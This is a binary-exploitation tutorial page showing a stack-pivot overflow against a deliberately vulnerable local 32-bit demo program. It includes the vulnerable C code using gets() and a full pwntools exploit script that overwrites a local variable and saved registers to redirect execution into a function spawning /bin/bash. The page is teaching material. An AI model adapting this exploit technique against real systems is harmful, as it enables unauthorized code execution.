Stack pivot and custom return path
This example combines a local flag overwrite with a custom return path. It preserves the checked string, changes protect to 97, then changes saved stack state so the epilogue takes EIP from the word containing realFunc.
void realFunc(void) { system("/bin/bash"); }
int main(void) { int protect = 1; char secure[] = "secure"; char buf[8]; gets(buf); if (strcmp(secure, "secure") != 0) return 0; if (protect == 97) getThis();}Payload from the example
Section titled “Payload from the example”from pwn import *
realFunc = 0x080491a6ebp = 0xffffc668 # observed for this local run
p = process("./stack-pivot-demo", aslr=False)
payload = b"A" * 8 # buf (8 bytes)payload += b"secure\x00" # secure (7 bytes plus NUL)payload += p32(0x61) # protect = 97; lets execution reach getThis()payload += b"B" * 4 # filler in this build's frame layoutpayload += p32(ebp + 8) # saved ECX: epilogue makes ret pop from EBP+4payload += b"C" * 4 # saved EBPpayload += p32(realFunc) # address consumed by ret
p.sendline(payload)p.interactive()| Bytes | Purpose in this build |
|---|---|
A × 8 |
Fills buf. |
secure\0 |
Leaves the strcmp check satisfied. |
p32(0x61) |
Sets protect to decimal 97. |
B × 4 |
Matches the observed padding. |
p32(ebp + 8) |
Changes saved ECX so the epilogue adjusts the stack to the target word. |
C × 4 |
Fills the saved frame-pointer slot. |
p32(realFunc) |
Becomes the next return address. |
Address notes
Section titled “Address notes”p32 and these addresses assume a 32-bit, little-endian, non-PIE build. realFunc must match the exact executable. ebp is stack state observed in the local debugger; it can change with compiler flags, environment, arguments, or process setup. aslr=False asks pwntools to disable address randomization for this local process, but still verify the actual frame each run.
This layout is specific to the example binary’s compiler output. Re-measure it in GDB/pwndbg before adapting it. For a normal saved-return overwrite without this saved-register adjustment, see Ret2win.
Complete script
Section titled “Complete script”This is the full local example in one file. The function address, observed stack pointer, and every frame byte are specific to the stated 32-bit build; measure them again for another binary.
#!/usr/bin/env python3from pwn import *
BINARY = "./stack-pivot-demo"REAL_FUNC = 0x080491a6EBP = 0xffffc668 # observed in GDB for this illustrative local run
context.arch = "i386"context.os = "linux"context.endian = "little"context.log_level = "info"
io = process(BINARY, aslr=False)
payload = b"A" * 8payload += b"secure\x00"payload += p32(0x61) # protect = 97payload += b"B" * 4payload += p32(EBP + 8) # saved ECX adjustment for this epiloguepayload += b"C" * 4 # saved EBPpayload += p32(REAL_FUNC) # target consumed by ret
log.info("payload length: %d", len(payload))log.debug("payload:\n%s", hexdump(payload))io.sendline(payload)io.interactive()To run the script, save it beside the matching binary and use python3 exploit.py. See the offset walkthrough for measuring saved-return distances and pwntools bytes and packing for p32 and byte order.